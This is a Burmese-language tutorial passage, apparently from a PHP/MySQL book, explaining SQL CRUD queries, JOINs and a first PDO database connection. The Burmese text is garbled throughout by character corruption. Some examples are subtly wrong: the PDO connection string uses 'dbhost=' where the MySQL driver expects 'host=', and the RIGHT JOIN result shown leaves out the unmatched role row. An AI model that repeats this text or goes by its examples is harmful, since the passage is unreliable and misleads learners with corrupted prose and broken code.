မှာပါ။  ဒီနည်းနဲ့  ဘယ်  Record  ကို  ဘယ်တုံးကသိမ်း]ဲ့တယ်၊ ဘယ်တုံးက ဖြပင်]ဲ့တယ်ဆိုတဲ့  မှတ်တမ်းကို
ပေနာင်လိုအပ်တဲ့အ]ါ အလွယ်တစ်ကူ သိရှိနိုင်မှာဖြKစ်ပါတယ်။  updated_at အတွက်  Null  လက်]ံထား
တာကို သတိဖြပုပါ။

ပေပးထားတဲ့  Property  ပေတွ  ပေသ]ျာစုံပေအာင်  စစ်ပေဆးပြပီး  Table  ကိုတည်ပေဆာက်လုိက်ပါ။  Table
တည်ပေဆာက်]ျနိ်မှာ  ရိှ]ဲ့တဲ့အမှားက  ပပေရာဂျက်မှာ  ပေတာက်ပေလ�ာက်  ဒုက္ခပေပးနိုင်ပါတယ်။  ဒါပေကြကာင့်
Column  Name  အပါအဝင်  Property  ပေတွ  ဖြပည့်စုံမှန်ကန်]ျင်း  ရှိမရှိ  ပေသပေသ]ျာ]ျာ  ထပ်မံစစ်ပေဆးK့ုိ
အကြကံဖြပုပါတယ်။

SQL (Structure Query Language)
တည်ပေဆာက်ထားတဲ့  Database Table  ထဲက  Data  ပေတွကို  စီမံK့ုိအတွက်  SQL Query Language  ကို
အသုံးဖြပုရပါတယ်။ ကျယ်ဖြပန့်ပြပီး  သီးဖြ]ားဘာသာရပ်တစ်]ု  အပေနနဲ့  ရှိပေနတဲ့  အပေကြကာင်းအရာတစ်]ုပါ။  ဒီ
ပေနရာမှာပေတာ့  အပေဖြ]]ံအကျဆုံးနဲ့  မဖြKစ်မပေနလုိအပ်တဲ့  Data  စီမံမှု  လုပ်ငန်းပေတွကို  SQL  Query  ပေတွ
အသုံးဖြပုပြပီး ဘယ်လုိလုပ်ရလဲဆိုတာ ထည့်သွင်းပေKာ်ဖြပသွားမှာ ဖြKစ်ပါတယ်။

ဒီအပေဖြ]]ံလုပ်ငန်းပေတွကို  အတိုပေကာက်  CRUD လ့ုိပေ]ါ်ကြကပါတယ်။  Create, Read, Update, Delete  ကို
ဆိုလုိတာပါ။ Data ပေတွ သိမ်းဖြ]င်း၊ ဖြပန်လည်ရယူဖြ]င်း၊ ဖြပင်ဆင်ဖြ]င်းနဲ့ ပယ်Kျက်ဖြ]င်း လုပ်ငန်းပေတွပါ။
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Create
Data ပေတွ Table ထဲမှာ သိမ်းK့ုိအတွက် အသံုးဖြပုရတဲ့ SQL Syntax က ဒီလုိပါ။

INSERT INTO table (column, column, …) VALUES (value, value, …);

1. INSERT  INTO  Statement  ကိုအသံုးဖြပုရပြပီး  table ပေနရာမှာ  Data  ပေတွသိမ်းလုိတဲ့  Table
Name ကို ပေပးရမှာပါ။ 

2. Table  Name  ပေနာက်မှာ  ဝုိက်ကွင်းအKွင့်အပိတ်နဲ့  သိမ်းလုိတဲ့  Column  စာရင်း  ပေပးရပါတယ်။
တစ်]ျ ို ့ Column ပေတွကို မလိုအပ်ရင် ]ျန်ထားလ့ုိရပါတယ်။ ဥပမာ id ဆိရုင် ကိုယ်ဘက်က ပေပး
စရာမလုိလုိ့ Column စာရင်းထဲမှာ မထည့်လ့ုိရပါတယ်။

3. ပြပီးတဲ့အ]ါ  VALUES  နဲ့အတူ သိမ်းလုိတဲ့  Data  ပေတွကို တန်းစီပေပးရပါတယ်။ အ့ဲဒီလုိ ပေပးတဲ့အ]ါ
Data စာရင်းနဲ့ Column စာရင်း ကိုက်ညီမှုရှိရပါတယ်။

4. Column  စာရင်း  ထည့်မပေပးဘဲလည်း  ပေရးလုိ့ရပါတယ်။  ဒါပေပမယ့်  ပေပးလုိက်တာ  ပုိပေကာင်းပါ
တယ်။ Column စာရင်းမပေပးရင် Value စာရင်းက Table တည်ပေဆာက်စဉ်က ပေပး]ဲ့တဲ့အစီအစဉ်
အတိအကျ ပေရးပေပးရမှာဖြKစ်လ့ုိ  များရင် အဆင်မပေဖြပပါဘူး။  ပေရှ့ ပေနာက် အစီအစဉ်လဲွတာမျ ို းပေတွ
ဖြKစ်နိုင်ပါတယ်။

5. Query Statement တစ်ပေကြကာင်းဆုံးတဲ့အ]ါ ပေနာက်ဆုံးကပေန Semicolon နဲ့ ပိတ်ပေပးရပါတယ်။
တစ်ပေကြကာင်းထဲ ဆိရုင်ပေတာ့ မထည့်လည်းရပါတယ်။

6. ပေရးတဲ့အ]ါ တစ်ပေကြကာင်းထဲ၊ တစ်ဆက်ထဲ ပေရးလ့ုိရသလုိ၊ လုိင်းပေတွ ]ွဲပေရးလ့ုိလည်းရပါတယ်။

ပေရးထံုးက ပံုပေသမှတ်ထားလ့ုိရပါတယ်။ အထဲက  table, column ပေတွနဲ့  value ပေတွပေနရာမှာသာ
သင့်ပေတာ်တဲ့ တန်Kုိးပေတွ အစားထုိးထည့်သွင်းပေပးရမှာပါ။ အ့ဲဒီလုိပေရးတဲ့အ]ါ  INSERT INTO  နဲ့  VALUES
တို့ကို  SQL  Keyword  ပေတွကို  စာလံုးအကြကီး  အပေသး နှစ်သက်သလို  ပေရးနိုင်ပါတယ်။  ဒါပေပမယ့်  စာလံုး
အကြကီးပေတွနဲ့]ျည်း ပေရးကြကတဲ့ထံုးစံ ရှိပါတယ်။ ဒီပေတာ့မှ ကြကည့်လုိက်ယံုနဲ့ SQL Keyword မှန်း ဖြမင်သာပေစK့ုိ
ဖြKစ်ပါတယ်။
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Table Name    ပေတွ    Column Name    ပေတကွပေတာ့    Table    တည်ပေဆာက်တုံးက သတ်မှတ်ထားတဲ့အတိုင်း  
အကြကီးအပေသး  အတိအကျ  ဖြKစ်ရပါတယ်။  လဲွလ့ုိမရပါဘူး။  Value  ပေတွပေပးတဲ့အ]ါ  Number  ပေတွကို  ဒီ
အတိုင်း ပေပးလ့ုိရပေပမယ့်၊ String ပေတွ Text ပေတွကိုပေတာ့ Single Quote သ့ုိမဟုတ် Double Quote ထဲမှာ
ပေရးပေပးရပါတယ်။  MySQL  မှာ  Column  Name  ပေတွကို  Quote  ထဲမှာ  ထည့်ပေပးစရာ  မလိုအပ်ပါဘူး။
ထည့်]ျင်တယ်ဆိုရင် Single Quote တို့ Double Quote တို့ကို သံုးလုိ့မရပါဘူး။ Back Tick ကိုသုံးပေပးရပါ
တယ် (ဥပမာ `role_id`)။

နမူနာ SQL Query ပေတွပေရးစမ်း]ျင်ရင် phpMyAdmin ရဲ့ Menu ကပေန SQL ကိုနှိပ်ပြပီး ပေရးလ့ုိရပါတယ်။

နမူနာပံုမှာ  users Table  ကို  ပေရးွထားပြပီးမှ  Menu  ကပေန  SQL  ကိုနှိပ်တဲ့အတွက်  ညာဘက်ဖြ]မ်းမှာ
users Table မှာရှိတဲ့ Column စာရင်းကို ပေပးထားသလုိ၊ SELECT, INSERT, UPDATE စတဲ့ SQL Query
ပေတွ  အသင့်ပေရးပေပးနိုင်တဲ့  ]လုပ်ပေလးပေတွ  ပါဝင်တာကိုလည်း  ပေတွ့ရမှာ  ဖြKစ်ပါတယ်။  နှိပ်ကြကည့်လ့ုိရပါ
တယ်။ အသင့်ပေရးပြပီးသား SQL Query ပေလးပေတွ ဝင်ပေရာက်သွားတာကို ပေတွ့ရမှာ ဖြKစ်ပါတယ်။
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ဒါပေပမယ့် သူအသင့်ပေရးပေပးတာကို အားမကိုးသင့်ပါဘူး။ SQL Query ဆိုတာ မဖြKစ်မပေန ကိုယ်တိုင်ပေရးနိုင်
K့ုိ  လုိအပ်တဲ့  အပေဖြ]]ံလုိအပ်]ျက်တစ်]ုဖြKစ်ပါတယ်။  ဒါပေကြကာင့်  ကိုယ်တိုင်ပေရးနိုင်ပေအာင်  ပေလ့ကျင့်သင့်ပါ
တယ်။ အ]ုလုိပေရးပြပီး စမ်းကြကည့်နိုင်ပါတယ်။

 SQL 

INSERT INTO users (
  name, 
  email, 
  phone, 
  address, 
  password, 
  created_at
) VALUES (
  'Alice',
  'alice@gmail.com',
  '123456', 
  'Yangon', 
  'password', 
  NOW()
)

ဒီ Query ကိုကူးပေရးပြပီး Go ]လုပ်ကိုနှိပ်လုိက်ရင် users Table ထဲမှာ ပေပးလုိက်တဲ့ အ]ျက်အလက်ပေတွနဲ့
အတူ  Record  တစ်]ပုေရာက်ရှိသွားရမှာ  ဖြKစ်ပါတယ်။  Browser  ကိုနှိပ်ပြပီး  ရလဒ်ကို  ကြကည့်နိုင်ပါတယ်။
အကယ်၍ ပေရးတဲ့ Query မှားပေနရင်လည်း မှားပေနပေကြကာင်း Error ကို ရရှိမှာဖြKစ်ပါတယ်။ 

နမူနာ  Query  မှာ လုိအပ်တဲ့  Column  ပေတွကိုပဲ ပေပးထားတာကို ပေတွ့ရနိုင်ပါတယ်။  id ထည့်ပေပးမထား
သလို Default Value ရိှတဲ့ role_id တို့ suspended တို့လုိ Column ပေတွ ထည့်ပေပးမထားပါဘူး။ ပြပီး
ပေတာ့  Null  လက်]ံတဲ့  photo နဲ့  updated_at ကိုလည်း ထည့်ပေပးမထားပါဘူး။  id ကလဲွရင် ကျန်
Column ပေတွ ထည့်ပေပး]ျင်ရင် ပေပးလ့ုိရပါတယ်။ ကိုယ်တိုင် အမျ ို းမျ ို း ဖြပင်ပေရးပြပီး စမ်းကြကည့်သင့်ပါတယ်။
ပေနာက်ထပ်သတိဖြပုစရာကပေတာ့  created_at အတွက်  ရက်စွဲအ]ျနိ်ကို  ကိုယ့်ဘာသာရိုက်ထည့်မပေပး
ဘဲ  NOW() Function  ကို ပေ]ါ်ယူပေပးထားဖြ]င်း ဖြKစ်ပါတယ်။  MySQL  မှာ အ့ဲဒီလုိ အသံုးဝင်တဲ့  Function
ပေတွလည်း အများအဖြပား ရိှပေနပါပေသးတယ်။

– https://dev.mysql.com/doc/refman/8.0/en/sql-function-reference.html

https://dev.mysql.com/doc/refman/8.0/en/sql-function-reference.html
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Read
သိမ်းထားတဲ့ အ]ျက်အလက်ပေတွ ဖြပန်လည်ထုတ်ယူလုိရင် SELECT Statement ကိုသုံးရပါတယ်။ 

SELECT column1, column2, … FROM table;

SELECT  ပေနာက်မှာ ရယူလုိတဲ့  Column စာရင်းကို  ပေပးရပြပီး  FROM ရဲ့ပေနာက်မှာ  Table Name  ကိုပေပးရ
တာပါ။ Column အားလံုးကို လုိ]ျင်ရင် * သပေက�တကို အသံုးဖြပုနိုင်ပါတယ်။ ဥပမာ –

 SQL 

SELECT * FROM users

ဒါဟာ  users Table  ထဲအ]ျက်အလက်ပေတွကို  ရယူလုိက်တာပါ။  *  သပေက�တကို  သံုးထားတဲ့အတွက်
Column အားလံုးပါဝင်မှာဖြKစ်ပါတယ်။ ပေရးပြပီးစမ်းကြကည့်နိုင်ပါတယ်။ ဒီလိုစမ်းကြကည့်တဲ့အ]ါ အဆင်ပေဖြပပေစ
K့ုိအတွက် Record တစ်]ျ ို ့ကို ကိုယ့်အစီအစဉ်နဲ့ကိုယ် ကြကိုတင်ထည့်သွင်းထားသင့်ပါတယ်။ 

SELECT Statement  နဲ့အတူ တွဲKက်အသံုးဖြပုပေလ့ရှိတဲ့  လုပ်ပေဆာင်]ျက်ပေတွ ရှိပါတယ်။ အ]ျက်အလက်
ပေတွကို ထုတ်ယူတဲ့အ]ါ Sorting စီပြပီးထုတ်ယူလုိရင် ORDER BY ကို အသံုးဖြပုနိုင်ပါတယ်။

 SQL 

SELECT id, name, email FROM users ORDER BY name

ဒါဟာ users Table ထဲက id, name နဲ့ email ဆိုတဲ့ Column (၃) ]ုကိုထုတ်ယူပြပီး၊ အ့ဲဒီလုိထုတ်ယူ
တဲ့အ]ါ  name နဲ့  Sorting  စီပြပီးပေတာ့  ထုတ်ယူလုိက်တာ  ဖြKစ်ပါတယ်။  Sorting  စီတယ်ဆိုတဲ့ပေနရာမှာ
ငယ်စဉ်ကြကီးလုိက် စီသွားမှာပါ။ အကယ်၍ ကြကီးစဉ်ငယ်လုိက် စီပြပီးထုတ်ယူလုိရင် DESC ကို သံုးနိုင်ပါတယ်။

 SQL 

SELECT id, name, email FROM users ORDER BY name DESC
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ပေစာပေစာက Query  နဲ့သပေဘာသဘာဝ အတူတူပါပဲ။ ဒါပေပမယ့်  DESC ပါသွားလ့ုိ  name နဲ့  Sorting  စီပြပီး
ထုတ်ပေပးတဲ့အ]ါ ကြကီးစဉ်ငယ်လုိက် စီပေပးသွားမှာပါ။  Column တစ်]ုထက်ပုိပြပီး စီပေပးပေစလုိရင်လည်း ရပါ
တယ်။ ORDER BY ပေနာက်မှာ Column အမည်ပေတွကို Comma ]ံပြပီး တန်းစီပေပးလိုက်ယံုပါပဲ။

SELECT id, name, email FROM users ORDER BY role_id DESC, name

role_id နဲ့  ကြကီးစဉ်ငယ်လုိက်အရင်စီပြပီး  role_id တူသူပေတွကို  name နဲ့  ငယ်စဉ်ကြကီးလုိက်စီဖြပ
]ိုင်းလုိက်တာပါ။ ဒီလုိပေတွထုတ်ယူတဲ့အ]ါ ရှိသမ� Record ပေတွအကုန်ထွက်လာမှာပါ။ အကုန်မယူဘဲ ပေရးွ
ယူလုိရင် WHERE နဲ့ Filter လုပ်ပြပီး ရယူနိုင်ပါတယ်။

SELECT * FROM users WHERE role_id = 2

ဒါဆိုရင်  role_id တန်Kုိး  2  ဖြKစ်တဲ့  Record  ပေတွပဲထွက်လာမှာပါ။  တန်Kုိးညီမညီ နှိုင်းယှဉ်K့ုိအတွက်
ရိုးရိုး  Programming မှာလို  == တို့  === တို့ကို မသုံးဘဲ ရိုးရိုး  = ကိုသာသံုးပါတယ်။ အ့ဲဒါကလဲွရင် ကျန်
Comparison Operator  ပေတွ ဖြKစ်ကြကတဲ့  !=, >, >=, <, <= တို့ကို  လုိအပ်သလုိ အသံုးဖြပုနိုင်ပါ
တယ်။ Logical Operator အပေနနဲ့ AND, OR တို့ကိုလည်း အသံုးဖြပုနိုင်ပါတယ်။ 

 SQL 

SELECT * FROM users WHERE role_id > 1 AND suspended = 0

role_id က  1  ထက်ကြကီးပြပီး  suspended က  0  ဖြKစ်တဲ့  Record  ပေတွကို  ပေရွးယူလုိက်တာပါ။  ရိုးရိုး
Programming မှာ မရှိတဲ့ EXISTS, ANY, BETWEEN, LIKE စသည်ဖြKင့် တစ်ဖြ]ား Logical Operator ပေတွ
လည်း  ကျန်ပါပေသးတယ်။  အ့ဲဒါပေတွအပေကြကာင်းကိုပေတာ့  လုိအပ်လာပေတာ့မှ  ဆက်လက်ပေလ့လာလုိက်ပါ။
ပေနာက်ထပ်အသံုးဝင်နိုင်တာကပေတာ့ LIMIT ဖြKစ်ပါတယ်။ ထုတ်ယူတဲ့ Record အပေရအတွက်ကို ကန့်သတ်
ပြပီး ထုတ်ယူK့ုိအတွက် သံုးနိုင်ပါတယ်။

 SQL 

SELECT * FROM users LIMIT 10
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ဒါဟာ  (၁၀)  ပေကြကာင်းပဲ  ထုတ်ယူမယ်လ့ုိ  သတ်မှတ်လိုက်တာပါ။  ဒီလုိ  LIMIT  ကန့်သတ်တဲ့အ]ါ  စရမယ့်
Record ကိုလည်း ထည့်ပေဖြပာနိုင်ပါတယ်။

 SQL 

SELECT * FROM users LIMIT 5, 10

ဒါဟာ  (၅)  ပေကြကာင်းပေဖြမာက်ကပေနစပြပီး  (၁၀)  ပေကြကာင့်ထုတ်ယူမယ်လို့  သတ်မှတ်လုိက်တာပါ။  ဒီပေနရာမှာ
ပေရှ့ပေနာက်အစီအစဉ် ရှိတာကိပုေတာ့ သတိဖြပုပါ။ လဲွရင်အလုပ်မလုပ်ပါဘူး။ အ]ုပေလ့လာထားသပေလာက်ကို
ပေပါင်းသံုးမယ်ဆိုရင် အစီအစဉ်အမှန်က ဒီလုိပါ။

 PHP 

SELECT * FROM users WHERE role_id = 1 ORDER BY name LIMIT 10

WHERE  အရင်လာပြပီး၊  ပေနာက်က  ORDER BY  လုိက်ပါတယ်။ ပြပီးပေတာ့မှ  LIMIT  ကိုပေနာက်ဆုံးကပေန ပေရး
ပေပးရတာပါ။  SQL Query Language  မှာ တစ်ဖြ]ားပေရးထံုးပေတွ ကျန်ပါပေသးတယ်။ လုိအပ်လ့ုိ ဆက်လက်
ပေလ့လာ အသံုးဖြပုရတဲ့အ]ါ သက်ဆိုင်ရာပေရးထံုးရဲ့ အစီအစဉ်ကို ဂရုဖြပုရပါလိမ့်မယ်။

အ]ျက်အလက်ပေတွထုတ်ယူတဲ့အ]ါ Table (၂) ]ုက အ]ျက်အလက်ပေတွကို ပူးတွဲထုတ်ယူK့ုိ လုိတာမျ ို း ရိှ
တတ်ပါတယ်။ လက်ရှိစမ်းသပ်တည်ပေဆာက်ထားတဲ့  users Table  နဲ့  roles Table  မှာဆိုရင် အ့ဲဒီလုိ
လုိအပ်]ျက်ရှိပါတယ်။  users Table  ထဲက  အ]ျက်အလက်ပေတွကို  ယူလုိက်ရင်  name,  email,
phone, address စတဲ့အ]ျက်အလက်ပေတွနဲ့အတူ role_id လည်း တွဲပြပီးပါဝင်မှာပါ။ User ရဲ့ Role
နဲ့ပက်သက်တဲ့ အ]ျက်အလက်ပေတွကို သိ]ျင်ရင် အ့ဲဒီ  role_id ကို အသံုးဖြပုပြပီး  roles Table  ကပေန
ပေနာက်တစ်ကြကိမ်  ထပ်ယူရမှာပါ။  အ့ဲဒီလုိ  နှစ်ကြကိမ်]ွဲမယူဘဲ၊  စကတည်းက  Table (၂)  ]ုလံုးက လုိ]ျင်တဲ့
အ]ျက်အလက်ပေတွကို တွဲယူမယ်ဆိုရင် ယူလ့ုိရတာပါ။ JOIN Statement ကိုသုံးရပါတယ်။ ဒီလုိပါ –

 SQL 

SELECT users.name, users.role_id, roles.name AS role
FROM users LEFT JOIN roles
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ဒါမဖြပည့်စုံပေသးပါဘူး။  ဒါပေပမယ့်  ဒီအဆင့်မှာအရင်  သ့ူအဓိပ္ပါယ်ကို  အရင်ကြကည့်]ျင်ပါတယ်။  SELECT  ရဲ့
ပေနာက်မှာ  users.name, user.role_id နဲ့  roles.name လ့ုိပေဖြပာထားလ့ုိ  users Table  က
name Column နဲ့ role_id တို့ကိုယူပြပီး roles Table က name Column တို့ကို ယူမယ်လ့ုိပေဖြပာလုိက်
တာပါ။ အ့ဲဒီလုိယူတဲ့အ]ါ name ]ျင်းတူပေနလို့  AS နဲ့  Alias လုပ်ပြပီး roles.name ကို role လ့ုိအမည်
ပေဖြပာင်းပေပးထားပါတယ်။

FROM ရဲ့ပေနာက်မှာ Table Name လုိက်ရတဲ့ ထံုးစံအတိုင်း users လုိက်ပါတယ်။ ပြပီးတဲ့အ]ါ LEFT JOIN
နဲ့  roles Table  ကို တွဲပေပးလိုက်တာပါ။  LEFT JOIN ဆိုတာ ဘယ်ဘက်က Table  ဖြKစ်တဲ့  users ကို
အဓိကထားပြပီး  ယူမယ်ဆိုတဲ့  အဓိပ္ပါယ်ပါ။  RIGHT JOIN  ဆိရုင် ညာဘက်က  Table  ဖြKစ်တဲ့  roles ကို
အဓိကထားမှာပါ။  အ]ု  LEFT JOIN  မ့ုိလ့ုိ  users ကို  အတည်ယူပြပီး  ဒီလုိရလဒ်ရပေနတယ်လ့ုိ  Visualize
လုပ်ကြကည့်ပါ။

users.name users.role_id roles.name AS role

Alice 3

Bob 1

Tom 2

users Table က Data ပေတကွပေတာ့ ရပေနပါပြပီ။ ပေနာက်ကတွရဲမယ့် roles Table မှာ roles.name
ပေတွက အများကြကီးပါ။  User, Manager, Admin  ဆိုပြပီး  (၃)  မျ ို းရှိပေနလ့ုိ ဘာကိုတွဲရမှာလဲ။ ဘာကိတုွဲရမှာ
လဲဆိုတာကို  ON Statement နဲ့ ထည့်သွင်းသတ်မှတ်ပေပးလ့ုိ ရပါတယ်။ ဒါပေကြကာင့် ပေစာပေစာက Query ကို
အ]ုလုိ ဖြKည့်စွက်ပေပးရမှာ ဖြKစ်ပါတယ်။

 SQL 

SELECT users.name, users.role_id, roles.name AS role
FROM users LEFT JOIN roles ON users.role_id = roles.id

ပေနာက်ကပေန  ON  users.role_id = roles.id ဆိုတဲ့  Condition  ထည့်ပေပးလုိက်လ့ုိ  users
Table ရဲ့ role_id Column ကတန်Kုိးနဲ့ roles Table ရဲ့ id Column ကတန်Kုိး တရူင်တွဲပေပးရမှာဆို
တဲ့ အဓိပ္ပါယ်ပါ။ ဒါပေကြကာင့် ရလဒ်ကို အ]ုလုိပံုစံဖြKစ်သွားမှာပါ။
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users.name users.role_id roles.name AS role

Alice 3 Admin

Bob 1 User

Tom 2 Manager

Query  ကို  လက်ပေတွ့]ျပေရးပြပီး  စမ်းကြကည့်လ့ုိရပါပြပီ။  ဒီ  JOIN  Statement  ဟာ  အပေတာ်အသံုးဝင်ပြပီး
လက်ပေတွ့  ပပေရာဂျက်ပေတွမှာ  မကြကာမကြကာအသံုးဖြပုရပေလ့  ရိှပါတယ်။  တစ်လက်စတည်း  နည်းနည်းထပ်
စဉ်းစားကြကည့်ရပေအာင်။  အကယ်၍  users.role_id = 4 ဖြKစ်ပေနရင်  ဘယ်လုိလုပ်မလဲ။  roles
Table မှာ id = 4 မှ မရှိတာ။

LEFT JOIN  က ဘယ်ဘက်  Table  ဖြKစ်တဲ့  users ကို  အတည်ယူပေပးမှာဖြKစ်လ့ုိ ညာဘက်က Table  မှာ
တန်Kုိးရှိမရှိကို သိပ်ဂရုမစိုက်ပါဘူး။ မရှိရင် အလွတ်ပဲ ထားပေပးလုိက်မှာပါ။ ဒါပေကြကာင့် ရလဒ်က အ]ုလုိဖြKစ်
သွားမှာပါ။

users.name users.role_id roles.name AS role

Alice 4

Bob 1 User

Tom 2 Manager

နမူနာမှာ Alice ရဲ့ role_id = 4 ဖြKစ်ပေနပြပီး roles Table မှာ id = 4 မရှိလ့ုိ ရလဒ်မှာ အလွတ်ဖြKစ်
ပေနတာကို ပေတွ့ဖြမင်ရတဲ့ သပေဘာဖြKစ်ပါတယ်။ အကယ်၍ ဒီပေနရာမှာသာ RIGHT JOIN ဆိုရင် ညာဘက်က
roles Table ကို အတည်ယူမှာဖြKစ်လို့ roles Table မှာ တန်Kုိးမရှိတဲ့ Record ကို ရလဒ်မှာ ထည့်သွင်း
ပေပးပေတာ့မှာ မဟုတ်ပါဘူး။

 PHP 

SELECT users.name, users.role_id, roles.name AS role
FROM users RIGHT JOIN roles ON users.role_id = roles.id
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users.name users.role_id roles.name AS role

Bob 1 User

Tom 2 Manager

role_id = 4 ဖြKစ်ပေနတဲ့ Record က ရလဒ်မှာ ပါမလာပေတာ့တာကို ပေတွ့ဖြမင်ရဖြ]င်းပဲ ဖြKစ်ပါတယ်။

MySQL မှာ INNER JOIN လည်းရှိပါပေသးတယ်။ Table နှစ်]ုလံုးမှာ အ]ျက်အလက်ပေတွ အစုံအလင်ရှိမှ ယူ
ပေပးမှာ ဖြKစ်ပါတယ်။ မရှိတဲ့ Record ပေတွကို ]ျန်ထား]ဲ့မှာပါ။ CROSS JOIN ဆိုတာလည်း ရှိပါပေသးတယ်။
ဘယ်/ညာ Table နှစ်]ုလံုးက ရိှသမ�အကုန် ထုတ်ယူပေပးမှာ ဖြKစ်ပါတယ်။ ON နဲ့ Condition ပေပးစရာ မလုိ
ပေတာ့ပါဘူး။ ပေရးလက်စ Query ပေတွမှာပဲ ကိုယ့်ဘာသာ ပေဖြပာင်းပြပီး စမ်းကြကည့်လုိက်လို့ ရပါတယ်။

Update
အ]ျက်အလက်ပေတွ ဖြပင်ဆင်လုိရင်ပေတာ့ UPDATE Statement ကို အသံုးဖြပုရပါတယ်။

UPDATE table SET column1=value1, column2=value2, … WHERE filter;

UPDATE  ပေနာက်မှာ  Table  Name  လုိက်ပြပီး၊  SET  ပေနာက်မှာ  ဖြပင်ဆင်လုိတဲ့  တန်Kုိးပေတွကို
column=value ပံုစံတန်းစီပြပီးပေတာ့  ပေပးရပါတယ်။ ပေနာက်ဆုံးကပေန  WHERE Clause  လုိက်ရတာကို
သတိဖြပုပါ။  WHERE  မပါရင်လည်း  UPDATE Statement  အလုပ်လုပ်ပါတယ်။ ရိှရှိသမ�  Record  ပေတွကို
ပေပးလုိက်တဲ့ တန်Kုိးပေတွနဲ့ ဖြပင်လုိက်မှာပါ။ အ့ဲဒီလုိ ရိှရှိသမ� အကုန်ဖြပင်တယ်ဆိုတာ လုိ]ဲပါတယ်။ ဖြပင်]ျင်
တဲ့ အ]ျက်အလက်ကို ပေရးွဖြပင်Kို့သာ လုိအပ်ပေလ့ရှိလ့ုိ WHERE နဲ့ ပေရွးပေပးတဲ့သပေဘာပါ။ 

 PHP 

UPDATE users SET role_id = 2, updated_at = NOW() WHERE id = 5

ဒါဟာ id = 5 တန်Kုိးရှိတဲ့  Record ရဲ့ role_id နဲ့ updated_at တို့ကို ဖြပင်လိုက်တဲ့ Query ဖြKစ်ပါ
တယ်။
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Delete
အ]ျက်အလက်ပေတွ ပယ်Kျက်လုိရင်ပေတာ့ DELETE FROM Statement ကို အသံုးဖြပုရပါတယ်။

DELETE FROM table WHERE filter;

သူလည်းပဲ UPDATE လုိပါပဲ။ WHERE Clause မပါရင်လည်း အလုပ်လုပ်ပါတယ်။ ရိှသမ�အကုန် Kျက်လုိက်
မှာပါ။ အ့ဲဒီလုိ ရိှသမ�အကုန်Kျက်Kို့အတွက် လုိအပ်]ျက်နည်းပါတယ်။ ဒါပေကြကာင့် ပေနာက်ကပေန WHERE နဲ့
ပယ်Kျက်လုိတဲ့ Record ကို ပေရးွပေပးရမှာ ဖြKစ်ပါတယ်။

DELETE FROM users WHERE id = 5

ဒါဟာ id = 5 တန်Kုိးရှိတဲ့  Record ကို ပယ်Kျက်လုိက်တာပါ။ လုိအပ်ရင် တစ်ဖြ]ား Filter ပေတွကိုလည်း
သံုးနိုင်ပါတယ်။  အများအားဖြKင့်ပေတာ့  id နဲ့ပဲစီမံကြကမှာပါ။  Table  တည်ပေဆာက်စဉ်မှာ  Primary  Index
သတ်မှတ်ထားတဲ့  id Column  ထည့်]ဲ့တယ်ဆိုတာ  ဒီလုိတစ်]ု]ျင်း  တိတိကျကျစီမံရတဲ့  ကိစ္စပေတွမှာ
အသုံးဖြပုK့ုိပဲ ဖြKစ်ပါတယ်။

MySQL & PHP
PHP  ကို  MySQL,  MSSQL,  Oracle,  PostgreSQL,  SQLite  စတဲ့  Database  နည်းပညာအားလံုးနဲ့
]ျတိ်ဆက် အသံုးဖြပုနိုင်ပါတယ်။ အ့ဲဒီလုိ ]ျတိ်ဆက်အသံုးဖြပုKို့အတွက်  PDO လ့ုိပေ]ါ်တဲ့နည်းပညာ တစ်မျ ို း
ရှိပါတယ်။ ပံုမှန်အားဖြKင့် PHP Extension အပေနနဲ့ထပ်မံထည့်သွင်းပေပးK့ုိ လုိနိုင်ပေပမယ့် XAMPP   ကို   Install  
လုပ်လုိက်စဉ်မှာ   PDO Extension   လည်းတစ်]ါထဲ ပါဝင်သွားပြပီးသားမ့ုိလ့ုိ   အသင့် အသုံးဖြပုနိုင်ပါတယ်။

MySQL Database နဲ့]ျတိ်ဆက်အလုပ်လုပ်Kို့အတွက် mysqli_connect() အပါအဝင် mysqli နဲ့စ
တဲ့  Function ပေတွလည်း ရှိပါပေသးတယ်။ Professional Web Developer စာအုပ်မှာဆိုရင် mysqli နဲ့စ
တဲ့  Function  ပေတွကို  အသံုးဖြပုပြပီး  MySQL  နဲ့]ျတိ်ဆက်အလုပ်လုပ်ပုံကို  ပေKာ်ဖြပထားပါတယ်။  ဒါပေပမယ့်
PDO  က ပုိပေကာင်းတဲ့  နည်းပညာလုိ့ ဆိုနိုင်ပါတယ်။  MySQL  နဲ့သာမက တစ်ဖြ]ား  Database  နည်းပညာ
အမျ ို းမျ ို းနဲ့  တွဲKက်အသံုးဖြပုနိုင်တာနဲ့တင်  သ့ူရဲ့အားသာ]ျက်က  ပေပါ်လွင်ပေနပါပြပီ။  mysqli Function
ပေတွက ပေလ့လာရတာ ပုိလွယ်ပေပမယ့် ဒီစာအုပ်မှာ PDO ကို အသံုးဖြပုပြပီးပေတာ့ ပေKာ်ဖြပသွားမှာ ဖြKစ်ပါတယ်။
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Connecting Database
ပထမဆုံး အပေနနဲ့ PDO Class ကိုသုံးပြပီး Object တည်ပေဆာက်ပေပးရပါမယ်။ အ့ဲဒီလုိ တည်ပေဆာက်တဲ့အ]ါ
Construct Argument အပေနနဲ့ Data Source Name (DSN) ကိုပေပးရပါတယ်။ ဒီလုိပါ –

$db = new PDO('mysql:dbhost=localhost;dbname=project');

ပေပးလုိက်တဲ့  DSN  ကိုပေလ့လာကြကည့်ရင် ပေရှ့ ဆုံးက mysql နဲ့စတာကို  ပေတွ့ရနိုင်ပါတယ်။  Driver Name
လ့ုိပေ]ါ်ပါတယ်။  SQLite  Database  ကိုဆက်သွယ်လုိတာဆိုရင်  ဒီပေနရာမှာ  sqlite ဖြKစ်ပါလိမ့်မယ်။
အလားတူပဲ  အဖြ]ား  Database  အမျ ို းအစားဆိုရင်လည်း  သက်ဆိုင်ရာ  Driver  Name  ကို  ပေပးရမှာပါ။
Driver  Name  ရဲ့ပေနာက်မှာ  dbhost နဲ့  Database  Server  လိပ်စာကို  ပေပးရပါတယ်။ လက်ရှိကပေတာ့
localhost ပဲဖြKစ်ပါတယ်။ ပြပီးတဲ့အ]ါ dbname နဲ့ အသံုးဖြပုလိုတဲ့ Database Name ကိုပေပးပါတယ်။

အထဲမှာ Colon ပေတွ၊ Equal သပေက�တပေတွ၊ Semicolon ပေတွနဲ့ ပေရးရတဲ့အတွက် နည်းနည်းမျက်စိရှုပ်]ျင်
စရာပေတာ့ ဖြKစ်ပေနနိုင်ပါတယ်။ ဂရုစိုက်ကြကည့်ပေပးပါ။ ပေနာက်ထပ် ရှုပ်စရာပေလးပေတွ ရှိပေနပါပေသးတယ်။

